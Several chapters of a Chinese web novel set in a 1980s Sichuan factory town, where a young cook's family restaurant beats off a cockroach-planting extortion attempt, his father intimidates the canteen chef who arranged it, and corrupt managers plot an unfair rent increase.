“敢打老娘饭店的主意，今天就要遭逮！明天就吃枪子！” 客人们闻言纷纷哄笑起来，赵嬢嬢骂人太有水平了。 “就是！该逮！” “这些二流子没皮没脸！就是故意来闹事的！” 客人们心头明镜似的，菜里真要有偷油婆，还能留到最后？ 周砚忍不住笑，赵嬢嬢生不逢时，不然也能上新说唱。 王麻子被骂的面红耳赤，喃喃道：“莫得王法了嗦？我好好来吃饭挨顿打……” “蜀黍，就是他们！”周沫沫带着保卫科科长罗卫东和六位全副武装的保卫科干事赶来，站门口指着王麻子等人说道。 小家伙去的时候一蹦一跳，回来的时候却红着眼眶，嘟着小嘴，看起来委屈极了。 赵铁英连忙拔下钉在桌上的菜刀，藏到身后。 “好你个王麻子，敢来纺织厂闹事！” 罗卫东带人气势汹汹地冲进门来，看着被周海提着的王麻子和花衬衣，还有地上被周杰按着两个二流子，不禁愣了一下。 刚刚周沫沫跑来保卫科，说有四个坏人来店里闹事，还要打她妈妈。 小家伙看起来慌慌张张的，红着眼睛说话，可把他心疼坏了。 他也有个小女儿，比周沫沫就大两岁。 周砚给保卫科送过跷脚牛肉，平日见到他还会给他递烟，这小伙踏实肯干，又会来事。 罗卫东当即就带人过来，本以为周砚母子俩被欺负，没想到闹事的四个人，两个像小鸡一样被提溜着，还有两个蜷缩着被按在地上。 “救命啊，黑店打人了，还拿刀砍人呢。”王麻子看到罗卫东，连忙喊道。 “闭嘴！”罗卫东瞪了他一眼，看向周砚。 “罗科长，你可算来了。”周砚苦着脸道：“这王麻子带着三个流氓，到我店里来闹事，点了一桌子菜吃的精光，不想给钱，就拿出偷油婆放盘子里，试图诬陷我们菜不干净。” “你瞧瞧，这盘子比他脸都干净，还能平白长出个偷油婆来？” “这事儿店里的客人都瞧见了，他诬陷不成，还搬起凳子想要砸店。好在我两位堂哥刚好来店里，这才把他们制服。” 周砚把情况简单说明，适当减掉赵嬢嬢的戏份。 “没错，他们就是故意来闹事的！” “他们还多凶，抄起凳子准备打人呢！” 客人们也是纷纷开口，为周砚搭腔。 “冤枉啊！罗科长！他说谎！那偷油婆就是从菜里吃出来！也是他们先砍人的！”王麻子急得直蹬腿。 罗卫东看了眼光盘子里的偷油婆，心头已经有数，冷脸道：“这偷油婆要是真从菜里吃出来的，怎么会一滴油都没沾？你是把我们当傻子吗？！” 王麻子闻言一愣，汤汁拌了饭滴油都不剩，这下失算了。 “王麻子，昨天我才刚去县公安局开会，说你们团伙涉嫌在嘉州多处饭店用偷油婆敲诈勒索老板，让我们保卫科协助苏稽派出所调查，你小子今天就故技重施，到周二娃饭店来作案！”罗卫东一挥手：“把他们带回去，好好审查！” 几名干事上前，把王麻子等人直接拷起。 “冤枉……冤枉啊……”王麻子手脚发软，瘫倒在地。 “坦白从宽，抗拒从严，你背后要是有人指使，好好交代，说不定还能减刑。”周砚看着王麻子说道：“不然你们这种团伙作案，人赃并获的，估计要牢底坐穿。” “带走！”罗卫东一挥手，人就被干事架出门去。 “你们见义勇为，处置的非常好。”罗卫东和周海、周杰握了手，看着周砚道：“你把店里的损失统计一下，等中午忙完了再送保卫科来，我争取给你追回。” “好，谢谢罗科长。”周砚表示感谢，又道：“对了，我觉得这王麻子闹事有点蹊跷，不晓得是不是有人在背后指使。” “你说的这个事情，我们会调查清楚，要是真有人指使，一定把他绳之于法。”罗卫东说道，转身往门口走去，路过周沫沫身边的时候，还停下来冲她敬了个礼，笑着道：“不要怕，保卫科的蜀黍会保护你。” “保卫科的蜀黍太厉害了！把坏人都抓走了！”周沫沫奶声奶气地说道，一脸崇拜的学着举起手敬礼。 罗卫东出门的时候，脸上笑容灿烂，就连门口的保卫科干事也挺直了胸膛，嘴角疯狂上扬。 没错，他们保卫的就是祖国的小花朵！ 目光转向王麻子等人，立马变得凌厉，冷声喝道：“带回去，好好审！” 饭店里，周砚他们已经把凳子重新摆好。 赵嬢嬢换上笑脸，有些不好意思道：“不好意思哈，吓到大家了，大家慢慢吃，以后他们不敢再来闹事了。” 看着她脸上亲切的笑容，客人们也忍不住笑了。 赵嬢嬢真是性情中人。 “锅锅，警察蜀黍好帅！我以后也要当警察蜀黍！”周沫沫跑到周砚跟前，抬着头看着他说道，大眼睛亮晶晶的，里面有光。 “你怕是当不了警察蜀黍哦。”周砚笑道：“你只能当警察嬢嬢。” “好，我要当警察嬢嬢！”周沫沫举起小拳头，眼神坚定：“专抓大坏蛋！” “好，警察嬢嬢。” 周砚和客人们都笑了。 饭店的气氛又重新变得轻松愉悦起来。 求月票，求追读！！   (本章完) 第55章 严打保护了他（第一更！） 周砚回厨房继续做菜，现在的国营大厂保卫科和后世看门的保安大爷可不一样。 罗卫东和保卫科干事配枪的，也叫经济警察，公安、企业双重管理，负责处理厂区和生活区的盗窃、打架斗殴等治安案件，重大案件才交由公安机关处理。 这两年严打，纺织厂保卫科处理了不少治安案件，还被评了先进单位。 王麻子这种偷鸡摸狗的二流子抓进去，两下就把底裤给扒完了。 “我还是想不明白，这王麻子不知道这店是你开的？他怎么敢啊？”周杰手里抓着一条鲫鱼，一脸不解。 “就是，这种小瘪三，我可以打十个。”周海坐在灶台后烧火，也是憨笑道。 老周家儿子多，体格一个比一个好，不惹事，但有事下手从不含糊，还特别团结和护短，从父辈开始就少有人敢招惹。 到了周砚他们这一辈，他上边六个堂哥，三个杀牛，两个当兵，还有一个在峨眉山学武，周砚从小到大在学校就没被人欺负过。 也就是进了纺织厂食堂，才吃了些苦头。 职场打压这种事，往往杀人无形。 “可能王麻子觉得严打能保护好他吧。”周砚笑道。 放个蟑螂，鼓噪吵闹一番，哪怕讹不到钱，也能恶心到店家，影响饭店口碑。 这手段很低劣，但确实有效。 王麻子多半没想到赵嬢嬢如此刚烈，提刀就砍，根本不和他争辩这蟑螂到底是不是饭店的。 吃了几碗粉这个问题，很容易陷入自证陷阱。 周砚觉得赵嬢嬢是有大智慧的。 当然，他应该更没料到饭店还有周海、周杰两员猛将，白挨一顿毒打。 周砚和保卫科提前搞好关系就是防着这类事情。 派出周沫沫这个警察嬢嬢预备役去搬救兵，小姑娘奶声奶气把事情原委讲出来，怎么都显得可怜巴巴的，让罗卫东直接把饭店摆在受害者的位置上。 后面的事情，也就顺理成章了。 周砚的直觉是王麻子后边有人指使，就看他嘴巴够不够硬了。 周杰和周海琢磨了一下周砚的话，也都笑了。 “这倒是真的，要不是严打，我非把他们打出屎来。”周杰深以为然。 “他下次要是还敢来搞事，我上他家蹲他去。”周海笑道。 周砚他们在后厨闲聊，赵嬢嬢在前边笑眯眯的给大家煮跷脚牛肉。 看起来好像都一样，但工人们喊赵嬢嬢的时候，明显多了几分敬意。 工人们上班去了，周砚他们才开始吃午饭。 “四嬢，你喊我们莫要动手，你为啥自己提着刀就上了？不害怕吗？”周杰端着饭碗，忍不住问道。 周砚他们也是看向了赵嬢嬢。 “害怕啥子？我当民兵打靶拿第一的时候，那几个二流子还在玩泥巴呢。”赵嬢嬢一脸淡然，“饭店生意好了，肯定有人眼红会来闹事，要一下把他们打痛了，其他人才不敢来第二回。” “用伟人的话来说，就是‘打得一拳开，免得百拳来’。” “四嬢当过女民兵我晓得，你还拿过打靶第一啊？”赵红一脸惊讶。 “我打枪准头好得很，前几年枪没交的时候，上山转一圈，随便都能打到兔子和野鸡，还和他们一起打到过野猪呢。”说起打枪，赵嬢嬢的脸上多了几分骄傲。 “难怪村里人都喊四嬢铁娘子。”周杰恍然道。 “陈年往事，不摆了，吃饭。”赵嬢嬢笑道：“看沫沫吃的多香，一句话都不说。” 众人看着埋头扒饭的周沫沫，也都笑了。 周砚往她碗里夹了两块排骨，小家伙今天也是出了大力的。 “谢谢锅锅。”周沫沫小油手抓着排骨，嘴里包着一口饭，含糊不清的说道。 “不谢，慢慢吃。”周砚笑道。 吃过午饭，周砚列了个清单。 赵嬢嬢还在心疼那张被她砍出一道豁口的桌子。 “明天我喊木匠来补一下就是，除了饭钱，我还给他们算了五块钱的桌椅损失费。”周砚走过来，笑着说道。 “四个二流子，身上凑不出八毛钱，能赔得起个锤子。”赵嬢嬢叹了口气，摸着那道豁口，“不过还是要喊人来补，再刷道清漆，不然油水渗下去，没几天就烂透了。” “要得。”周砚笑着应了一声，拿着手写的清单出门，拐进了隔壁保卫科。 罗卫东审人去了，不在办公室。 不过他和值班干事小吴打过招呼，看到周砚站门口，便笑着招呼道：“周砚，清单放罗科长桌上就行。” “好。”周砚进来把单子放罗卫东的办公桌上，随口道：“吴哥，还没审完吗？” “这几个二流子，大案不敢做，偷鸡摸狗的事情没少干，罗科长正带人分开审呢，估计要审半天。”小吴笑着道：“你放心，刚刚给他们搜身了，他们身上有几十块钱，够赔你的损失，就是要走程序，没那么快。” “好，那你先忙，我就不打扰了。”周砚掏出烟给他递了两根，转身出门。 他不抽烟，但身上随时揣着一包玉溪，递烟能快速增进男人之间的关系。 这烟是夏瑶送给老周同志的，他妈不让抽，转手丢给他。 这烟没证还不好买，所以他没卖，留着打点关系。 他本来已经打算做好这顿饭喂狗的准备，列清单是为了让王麻子他们多判点，没想到这钱还能拿到，自然高兴。 加上桌子的破损，十二块六毛呢，谁丢了不心疼。 不过几个二流子身上有几十块钱，验证了他的猜想，多半是有人花钱找他们来搞事情。 要么是王德发，要么是黄福生，利益相关，不难猜。 王老五面摊都摆不成了，没有几十块钱找人来搞他事情。 “周砚还是讲究。”小吴把烟夹耳朵上，摸出火柴点了另一根，吐出个烟圈，看着手里的烟点头：“硬是比红梅好抽不少啊！” …… 周杰和周海吃完饭回去了，周砚骑车出门，顺便扫了眼面板： 【支线任务：跷脚牛肉传承。收徒：周杰，学习进度：2/3】 【主线任务：制霸纺织厂：任务进度：552/1000】 制霸纺织厂任务过半，今天增长明显，厂长拉新效果显著。 跷脚牛肉传承任务稳步推进，明天就能完成。 “高老板，给我再送二十条鲫鱼到店里去。”周砚把车停在卖鱼摊位前，冲着躺在竹椅上打盹的络腮胡青年说道。 (本章完) 第56章 这家子属阎王的吗？（第二更） 卖鱼摊老板姓高名羽，二十五岁，排名老三，人称高三娃。 周砚觉得这外号听着太有压力，所以就叫他高老板。 高老板被强行开机，睁眼愣了一会才坐起身来，看着周砚挠头：“周老板，早上四十条鲫鱼就卖完了？” “剩的不多了，再补点。”周砚笑着道。 “要得，四点半我给你送到店里来。”高老板从口袋里摸出个小本子，刷刷写了几笔，又抬头看着周砚道：“我塘里今年养了一批草鱼，完全吃草草长大的，现在有三斤多了。你回头要是弄酸菜鱼、水煮鱼啥的，用草棒最巴适，肉相当脆嫩，咱们的关系，我给你算便宜点。” “好，有需要我就来找你。”周砚点头，骑上车掉转回去。 高老板也睡不着了，起来把桶里的鱼挑挑拣拣，凑不够二十条满意的，跟旁边的摊位老板说了一声，骑上三轮车回鱼塘抓鱼去了。 周砚对鱼的要求比较高，大小要均匀，鱼品质还要高，活性好。 但他要的量多啊，而且给钱爽快，只要鱼没问题，钱立马结清，不赊账。 光是这一点，就已经甩镇上其他饭馆、摊位十条街。 有些脸皮厚的，拿两条鲫鱼都要挂账，月底去要钱还得求爷爷告奶奶，真他妈憋屈。 他高三娃发誓，一定要把生意做大做强！以后让那些人求着他来买鱼，给现钱！ 周砚不知道高老板立下宏愿，但对他的鱼挺满意，以后要是有用得着鱼的地方，找他是个好主意。 今天老周同志钓鱼回来的比较早，工厂下班前就回来了。 在河堤边把脚上的泥蹭干净了，才推着车过来。 周沫沫跑了过去，抱着老周的大腿仰头看，奶声奶气问：“爸爸！爸爸！你今天钓到鱼鱼没？” “嗯，今天钓到一条。”周淼把车停好，从车篮的竹篓里抓出一条八九两的鲫鱼。 “哇哦！爸爸好能干！又钓到鱼摆摆了！”周沫沫高兴地跳起来拍着小手道。 “又钓到了啊，还是可以哦。”赵铁英跟着出门来，打量着周淼手里的鲫鱼，“这大小，拿来做藿香鲫鱼刚好合适。” “嗯，大小刚好合适。”周砚也是笑着道。 简直和他买的一模一样。 非常标准的饲养鱼。 【一条品质尚可的养殖鲫鱼】 空军佬依旧没能破龟啊。 “那我先抓去养起。” 周淼抓着鱼往厨房走，和周砚错身而过的时候，露出了一个父子俩才懂的笑。 周砚愿称之为空军佬的无奈苦笑。 这次只买一条，看来老周同志准备打持久战，细水长流。 周淼从厨房打了一桶水出来，在一旁树下洗手刷鞋。 赵铁英把今天中午王麻子闹事的事跟他说了。 周淼沉默着听完，才问道：“周砚说有人在背后教唆吗？” “现在也不晓得，看保卫科那边怎么说嘛。”赵铁英笑着道：“没得事，我都摆平了，小场面。” “嗯，我老婆硬是能平事，不愧是当年的民兵大队标兵！”周淼也是笑着竖了个大拇指。 “你还记得我拿了标兵啊？”赵铁英笑得合不拢嘴。 周淼笑着点头：“那必须的，还拿了个搪瓷杯和两条毛巾作为奖励嘛，杯杯我还给你收在柜子里呢。” “不是漏了吗？” “漏了也有纪念价值的嘛，女民兵拿标兵，你是大队第一个！” “三水，你真的太好了。” “对你好，是应该的嘛。” “不行不行，太腻人了，以后这种话回家再说。” 赵嬢嬢有些娇羞的起身往店里走去。 周淼笑着目送她进门，把脏水泼了，木桶放在一旁，起身往保卫科走去，脸色已是冷了下来。 …… 黄福生在保卫科的审讯室呆了三个小时，推着自行车从厂大门出来的时候脸色泛白，有些魂不守舍。 王麻子这种二流子，哪有什么江湖道义可言，抓进去审了不到一小时，就把他给供出来了。 保卫科的人来厂食堂，把他带回去了解情况。 这件事可大可小。 他虽然是教唆者，但王麻子他们在周二娃饭店没闹出什么大事，没涉及到钱，顶多算是寻衅滋事。 但现在是严打时期，王麻子他们身上一堆烂事，他沾上就是一手屎。 今天放他回去，停职回家等通知。 “你就是黄福生？”这时，一道声音从背后响起。 “啊？”黄福生回头，看着那皮肤黝黑的中年男人面露疑惑：“我是，你是谁？” “周砚是我儿子，我是周村杀牛的周淼。”周淼撩起衣服，露出了腰间剔骨刀的刀把，眼睛盯着黄福生。 “保卫科说你找人到我儿店里闹事，我来跟你就说两句话。” “周砚以后要是出事，我只找你。” “苏稽很小，没有找不到的人。” 他的语气很平淡，但那股狠劲带着杀气，格外冷。 黄福生一身肥肉颤了颤，连忙摆手道：“我不敢了！不敢了……” 周淼放下衣服，转身就走。 黄福生长出了一口气，惊觉后背竟已完全打湿。 杀牛？ 说他杀过人黄福生都信！ 黄福生蹬上自行车，上了三回车都没成功，最后踩着路边墩子才上去。 没办法，腿软了。 这家子，属阎王的吗？ 也太吓人了吧！ 以后跟周砚相关的事情，他一定要离得远远的。 周淼回到店里，脸上又露出了温和的笑容。 工厂下班，客人陆续多了起来。 周淼帮着上上菜，端蘸碟，打饭，这些小活还是能做的很好的。 “你刚刚去哪了？”赵嬢嬢看着他问道。 “碰到个熟人，摆了会龙门阵。”周淼随口道。 “你在这厂里还有熟人哦。”赵嬢嬢有些意外。 “今天先认识，一回生，二回熟嘛。”周淼笑了笑，端起两碗跷脚牛肉给客人上菜。 今天晚上的客人也不少，老厂长的评价，还有这两天的口碑开始发酵，店里的桌子陆续都坐上人了。 “赵姐，给我点一份跷脚牛肉，然后打包一份红烧排骨嘛。”林志强走进店来，把手里的铝饭盒递上。 “要得，林厂长打包给孩子们吃吗？”赵铁英笑着接过饭盒。 “嗯，两个娃娃昨天吃了红烧排骨念念不忘，让我今天一定要给他们带一份回去。”林志强笑着点头，又关切问道：“听说今天中午有人来闹事，情况怎么样？” “没得事，保卫科的罗科长和干事及时赶到，把闹事的二流子全部抓走了，影响不大。”赵铁英说道。 “没事就好。”林志强点头，和周淼打了个招呼，就到一旁去坐下了。 他今天是奉旨来吃跷脚牛肉，顺便给两个娃带红烧排骨。 他也没想到，到了三十八岁，还能焕发第二春。 不过…… 想到今天早上孟安荷给他又是煎蛋，又是穿外套，嘴角就不自禁上扬。 这跷脚牛肉，必须吃！—— PS：月票马上破1500，所以我一口气先更两章！ 求月票和追读！ (本章完) 第57章 绝非池中之物（第三更！） 墙上挂着的牌子一块块被摘下，等红烧排骨被摘下的时候，赵嬢嬢宣布今日菜品已经全部估清，后来的客人长叹一声，只能另寻他处吃饭。 今天周砚备的所有菜都卖光，包括高老板后来送来的二十条鲫鱼。 跷脚牛肉剩了点边角料，老周同志‘钓’回来的那条鱼做成了藿香鲫鱼，用猪油清炒了一盘莲花白，就是他们自个的晚饭了。 “今天生意真不错，准备的那么多菜全部卖完了，客人吃了都说好。”赵嬢嬢喜滋滋道，给周沫沫碗里捞了一勺牛杂和牛板筋。 “开业三个多月，从来没见过那么多客人。”周淼也是有些感慨。 放半个月前，他们哪敢想饭店还有这般红火的生意。 那会店里一天见不到一个客人，周砚天天愁眉苦脸坐门口，脾气暴躁，一点就炸，连周沫沫都不敢靠近他。 现在店里生意一天比一天好，这小子又和以前一样有说有笑，家里氛围都变好了。 “今天营业额应该破两百了，应该是接下来这段时间的巅峰。”周砚笑着说道。 “破两百了啊！”赵嬢嬢有些惊讶，她知道今天生意比昨天还好不少，但没想到竟然超过两百了。 一天卖两百，就算赚一半那也是一百块啊！ 这钱挣的也太快了吧！ “今天不少客人是凑热闹来的，大部分人工人一个月能下一两次馆子就算不错。但把口碑做起来，以后他们家里请客什么的也会想到咱们店，细水长流，钱慢慢挣。”周砚笑着说道。 他也希望厂长带货能有一个长尾效应，但营业要想继续向上突破，就必须要有更畅销的单品，或者出一些价格更便宜的菜来增加客流。 一个菜就要一块钱，人均消费倒是提上去了，但也把许多客人拒之门外。 “对，慢慢挣。”赵嬢嬢笑着点头。 吃过饭，周砚送爸妈出门，挂上锁，又去沿河跑了一圈。 半道上，他瞧见一道熟悉的身影在慢跑，加快脚步撵了上去，笑着道：“林叔，你也出来运动啊？” 林志强穿了件蓝色背心，脖子上挂条毛巾，跑的满头大汗。 “小周啊。”林志强看着周砚，笑着道：“有段时间没锻炼了，晚上出来跑一圈，不然你孟姨总嫌我肚子大。” “你也不胖啊。”周砚扫了眼林志强，他其实算高瘦体型，就是肚子有点突出，人到中年谁没点啤酒肚啊。 林志强摇头，看着穿着白色背心，宽肩窄腰的周砚，有些感慨：“还是你们年轻人身材好，以前我也是六块腹肌的，现在化零为整融为一块了。” 周砚没想到林志强还挺幽默，笑着道：“那咱们一起跑呗，往前边绕到石板桥转回来，差不多五公里。” “行，我跑的慢，还得先适应适应，你要不先跑去？” “没事，咱们边聊边跑，跑起来还轻松些。” “也行。”林志强笑着点头，跑了没几步，笑问道：“你给夏瑶写信没有？” “啊？” “那她也没给你写信？” “还没收到。” “你想不想要她的地址？” “额，林叔……” 周砚和林志强跑了一圈五公里，一路闲聊，从纺织厂逸闻到国家政策、国际纠纷，天南地北，啥都聊。 林志强BJ读的大学，出国留过学，下乡当过知青，在上海待过两年，不是纯技术宅，见多识广，非常能聊。 周砚毕竟是在信息爆炸时代开过眼，抖音里见过世面，虽然了解不深，但啥话都能接得上。 这一圈跑下来，林志强已经把他引为知己。 “小周啊，你对苏联走向的推断真有意思，和我不谋而合啊，咱们明天跑步继续聊。”家属院门口，林志强意犹未尽，和周砚约了明天一起继续跑步。 “好，那明天这个时间咱们还一起跑步。”周砚笑着点头，继续往饭店的方向跑去。 和林志强聊天，他也受益良多。 对于这个时代，他只有模糊的了解，从课本上学过大概走向，但那些名词太过宽泛，他一个美食博主，很难从里边抓到能加以利用的信息。 林志强是高知，他对于当下发展的了解，看到的机会，都是非常有前瞻性的，眼界比他高得多。 他提到一点，随着改革开放，国家大力支持个体和民营经济发展，鹏城特区等正在建设中，如果能够抓住这个机会，或许能成为时代弄潮儿。 说这话的时候，周砚看到他眼里的憧憬和光，当时就觉得林叔定然不是池中之物，这小小纺织厂怕是容不下他的志向。 林志强脚步轻盈的回到家，拿上毛巾和脸盆准备去洗澡。 “跑步捡到钱了吗？这么开心。”孟安荷拿着戒尺从书房出来，看着笑容满面的林志强问道。 在她身后的书房里，林景行和林秉文两兄弟苦着脸，正互相给对方吹手止疼呢。 “比捡到钱都有意思。”林志强笑着道：“我刚刚跑步遇到周砚了，他也出来跑步，我们一起跑了一圈五公里，一路闲聊。 他的知识面太广了，啥都懂，而且对于未来发展的一些看法非常有前瞻性，绝非池中之物，这小小苏稽镇困不住他的。” “看他倒是越来越对眼了。”孟安荷笑着把他手里的脸盆按下，“一会再去洗澡，跑热了冷水一冲，要生病。” “年轻人有这见识和眼光很少见，赵东和他比都差远了，我觉得就算开饭店，他也能干出一番事业来。”林志强感慨道。 “这点我倒是信的。”孟安荷点头，笑吟吟看着他：“不过，你怎么突然想起要去跑步锻炼了？” “光靠吃跷脚牛肉怎么行，锻炼才是王道，两手抓，两手都要硬。”林志强一本正经道。 …… 周砚回到饭店先把账记了，今天收入达到234.6元，确实创下了新高。 跷脚牛肉增加了二十份，牛肉烧笋干、双椒碎花牛肉各卖了三十份，红烧排骨卖了十二份，藿香鲫鱼也卖了三十份。 扣掉食材成本，毛利约摸118.2元。 继营业额破百之后，利润第一次破百！ 数着那一张张五分、一毛的纸币，周砚心里格外踏实。 这钱是六毛、一块，一点点卖出来的。 存款达到262.44元，离他还上所有欠款越来越近了。 冲了澡，今天周砚没有急着上床睡觉，而是拿出纸笔把今天从林志强那里获得的信息整理记录下来。 赵嬢嬢和老周同志很好，但他们只能看到苏稽那么大的地方。 从林志强这里，他能学到不少东西。 而且和林叔搞好关系，等他哪天真下海了，说不定还能带带他呢。 把日记本合上，拉绳关灯，房间一黑，周砚脑子里浮现出夏瑶的身影。 她说回学校了给他写信，寄出来了吗？ 今天跑步路上，林叔把地址告诉他了，川美工艺美术系，装潢设计专业。 他要不要主动写信？ 周砚很快否定了这个想法。 写啥？他两辈子都没写过信！ 想这，还不如想想明天要进多少货，大概会有多少客人来吃饭，不同菜的数量是否要进行调整。 想女人，只会影响他赚钱的速度。 脑子疯狂运转，两眼一黑，立马睡着了。 …… 第二天刚蒙蒙亮，小周同志就骑着自行车出门去买菜。 …… 第三更，1500月票加更奉上！ 求月票！求追读！   (本章完) 第58章 去搬救兵！ 王麻子这几个二流子落网的事情，在纺织厂翻不起半点风浪。 在这个村和村械斗，能拉出大炮对轰的年代，民间武德充沛，大家都是见过大世面的。 就连赵嬢嬢拎把菜刀，都能一刀砍的王麻子哇哇叫，这就是小场面。 不过王麻子这事牵扯到食堂主厨黄福生，立马勾起了纺织厂工人的八卦之魂。 从保卫科传出来的消息，说是黄福生指使王麻子等人去周二娃饭店使坏，往菜里丢偷油婆，败坏饭店名声。 事情败露之后，黄福生被逮到保卫科审了一个下午，已被停职，回家等厂里处理结果。 这消息传开后，工人们可乐开了花。 自从黄福生顶替肖磊成为厂食堂主厨，厂食堂的饭菜是一天比一天难吃。 现在黄福生被停职了，厂食堂的菜是不是会变好吃了？ 大家已经开始期待肖师傅回归当主厨，又把大锅菜给大家炒的有滋有味了。 “肖师傅能回来吗？听说他现在在后厨当墩子。” “黄福生是下去了，但肖师傅想回来当主厨，我估计悬！当初他从主厨位置上被撸下来，厂里出了公告的，涉嫌多项违规，程序上完全没问题的。” “我听说那些事肖师傅都是背锅的，遭奸人陷害。” “你直接点名就完了，王德发只要在位一天，肖师傅很难回来。抓了一个黄福生，他也能再提个王福生上去，做菜好不好吃不重要，反正得听话。” “这家伙就是茅厕里的石头——又硬又臭，专门恶心人！” 吃早饭的工人们凑在一起，喝着稀饭，吃着馒头，聊着最新鲜的八卦。 又硬又臭的王主任，这会坐在办公室里正一根接一根地抽烟，乌烟瘴气，也藏不住他那张臭脸。 黄福生被抓的事，打得他有点措手不及，一度惊惶想要跑路。 好在王麻子他们在周二娃饭店没把事情闹大，没有造成人员伤害，也没有打砸店铺导致严重财产损失。 但黄福生作为教唆者，肯定无法置身事外，处分免不了，主厨是没得当了。 “这哈批，找那几个没脑子的二流子，把本来很简单的事情办成这个样子，搞的我现在压力大得很！”王德发低声骂道，气得咬牙切齿。 “黄福生那手艺，回去当墩子也差不多，我堂弟这两年厨艺长进快得很，回锅肉、爆炒猪肝都弄得很不错，让他当主厨也要得嘛。”孙美丽递过水杯，笑着绕到王德发身后给他揉肩。 “孙桥？”王德发皱眉思索。 “对的，孙桥说他今年准备去考三级厨师，手拿把攥的过。”孙美丽笑吟吟道：“孙桥听话，他当主厨，我们食材采购那边的回扣照样吃，要是让肖磊回来，又要闹翻天，这龟儿子油盐不进，软硬不吃。” “肖磊我肯定不可能让他回来当主厨，他要是回来，我这个食堂主任在后厨一点权威都没得。”王德发点头，“好，今天开会，我就把孙桥推上去，让他先暂代主厨。” “要得。”王美丽俯下身，在他耳边低声道：“周砚那边我也想到办法了，他不是生意红火吗？那就加他店租，十五块一个月太便宜他了。” “加好多？”王德发侧头看她，“要是加个十块五块，对他屁影响没得。” “那就加到100块钱一个月，这个月少的还要补。”孙美丽嘴角一勾，冷笑道：“他敢抢我们食堂的生意，就是让国有资产流失，一个个体户，凭啥子赚那么多钱？” “一百块钱？”王德发皱眉，“而且就加他一家，会不会太多？” “觉得多他可以不交，咱们不就是为了赶他走嘛。” …… “啥子？一百块钱一个月？孙主任，你怕是糊涂了哦！”王薇一脸荒唐的看着坐在办公桌后的孙美丽，“纺织厂名下的铺面，一般租金都在十块钱左右，周砚这个店铺靠近厂大门，所以多收五块钱，一个月十五块钱，已经是高租金了。” 孙美丽脸上的笑容一僵，眼睛霎时瞪圆，拍着桌子就站了起来，怒喝道：“王薇！你啥子态度！我是你领导，财务部分管食堂的主任，你敢骂我？” “我不骂你，我应该表扬你。”王薇撇嘴，冷笑道：“你是领导怎么了？对于领导在工作上的不合理要求和命令，工人有权利反对和提出意见。” “好！好！好！”孙美丽气得发抖，指着王薇道：“你不服从管理，辱骂领导，无组织，无纪律，我要把你调去守仓库，去搬货！” “少给我戴高帽！”王薇嘁了一声，“你当你是谁，说调我去守仓库就去守仓库？纺织厂又不是你家开的！” “我看你们就是看周二娃饭店生意红火，眼红，想要打压报复周砚。” “还领导，手里有三分权利，就想要把人往死里整！才显得你能是吧？你们这种行为，让人作呕！” 说完，王薇直接头也不回地转身出了办公室。 “你给我回来！”孙美丽气得摔了手边的搪瓷杯，茶水四溅。 外间大办公室，会计们纷纷侧目，眼神交流吃瓜。 离主任办公室最近的中年女人快步冲进办公室，捡起地上的搪瓷杯擦干净，谄笑着放回到桌上，“主任，你莫要生气，这些小姑娘不知天高地厚，连你都敢顶撞。” 孙美丽看着她，气消了几分，开口道：“吴莉莉，那这件事就交给你来办，去把周二娃饭店的一百块钱租金收上来，并通知他从下个月开始每个月租金都是一百块钱，要是不交的话，就让保卫科来处理。” “事情办的漂亮，年底的先进个人名额就是你的，本来今年是王薇拿的，现在看你是不是更值得培养。” “您放心主任，我肯定把事情办好。”吴莉莉连连点头，领命转身出去。 …… “啥子？一百块钱？你怎么不去抢呢？！” 周二娃饭店门口，赵铁英看着上门来的吴莉莉，眉头紧皱。 刚忙完早上这一路，一碗面才下肚，就来了个自称纺织厂财务部的会计来收租金，而且一开口就要一百。 “你莫要说东说西！这是厂里的通知，你们尽快把钱补上！”吴莉莉双手叉腰，趾高气昂道：“你们要是不交租金，我就通知保卫科来把你们撵出去！我告诉你，这门市是国有资产，你们这些个体户抢厂食堂的生意，造成了国有资产损失，早两年你们是要抓去坐牢的！” “好大个威风哦，还要把老娘抓去坐牢，看我今天不先撕烂你这张批嘴！”赵铁英把袖子往上一捞，就要动手。 “妈，先不动手。”周砚从店里走出来，把她喊住，又看着吴莉莉道：“同志，谁派你来收这个钱的？有厂里盖章的通知吗？为啥突然要加房租？是所有纺织厂名下的店铺都要加，还是只加我们一家的？” “我……我肯定是代表厂里来收你这个钱，通知我现在没得，下次再带给你。你的饭店生意那么好，就是因为店面好，涨租金是很正常的，你以为所有钱你都能挣走？你要是租不起，你就搬走，不要啰里啰嗦。”吴莉莉看着周砚底气有点不足。 “啥子店面好！那是周砚厨艺好！你红萝卜掐两个眼睛，也算个人哦？讲得出这种鬼话！”要不是周砚挡在前边，赵铁英恨不得冲过去给她一巴掌。 吴莉莉吓得往后退了两步，这娘们看着不像好人呢！ “你到底交不交钱？不交我要去喊保卫科了！”吴莉莉看着周砚色厉内荏道。 “你盖章的文件都没得，我肯定不得交这个钱，说不定你是哪里来的骗子呢？”周砚摇头，“从我租下这个店面开始，一直以来收租金的都是会计王薇，你从哪里来我都不晓得。” “王薇？呵，王薇因为不愿意来收你的租金，顶撞主任，要被调去守仓库搬货咯，以后就是我负责收租金。”吴莉莉得意道：“现在我就去给你拿盖章的通知，你最好把钱准备好。” 吴莉莉转身往厂里走去。 “那妹儿倒是仗义，不过这租金一下涨到一百，又是怎么回事？我们要不要交呢？”赵铁英皱着眉头，有些惆怅地看向周砚。 她也知道这种事情不是和那女人打一架就有用的，反而可能会给周砚惹上麻烦。 “就是，哪有这种突然加租金的道理！”一直在旁看着的周杰也说道。 “不要担心，问题不大。要是厂里做的决定，大家的租金都涨到一百，那该交我们就交，反正也就一天利润。”周砚微笑宽慰道：“但要是就我们一家涨，专门针对打压我们，这钱我们肯定不能交，一分钱都不能交。这个口子一开，让人觉得好欺负，以后这样的事情就多了。” 周砚转身回了店里，从柜子里摸出一包玉溪揣兜里。 “你去哪里？”赵铁英看着周砚出门，开口问道。 “去搬救兵。” 周砚头也不回的钻进了一旁的保卫科。 求月票，求追读！ 没错，你们就是我的救兵！   (本章完) 第59章 川菜第一菜（4k） 求人不空手上门，一包玉溪开路，周砚请值班的小吴同志传话，帮忙找林志强。 林叔是他目前在纺织厂最硬的关系，交情不错，昨天又建立了深厚的友谊。 请他帮忙，靠谱。 从那财务的口中不难听出，她主任要搞周二娃饭店，就是冲他来的。 孙美丽，这妖艳胖女人小周记忆里印象深刻。 财务部门下属，主管食堂账目的办公室主任，兼着管纺织厂的十几个铺面出租。 她老公是厂里缫丝车间的副主任，老实人一个，头上有座青青草原。 孙美丽和王德发的关系不清不楚，这事在后厨不是秘密。 有学徒说听到过办公室里传出的不可言说的声音。 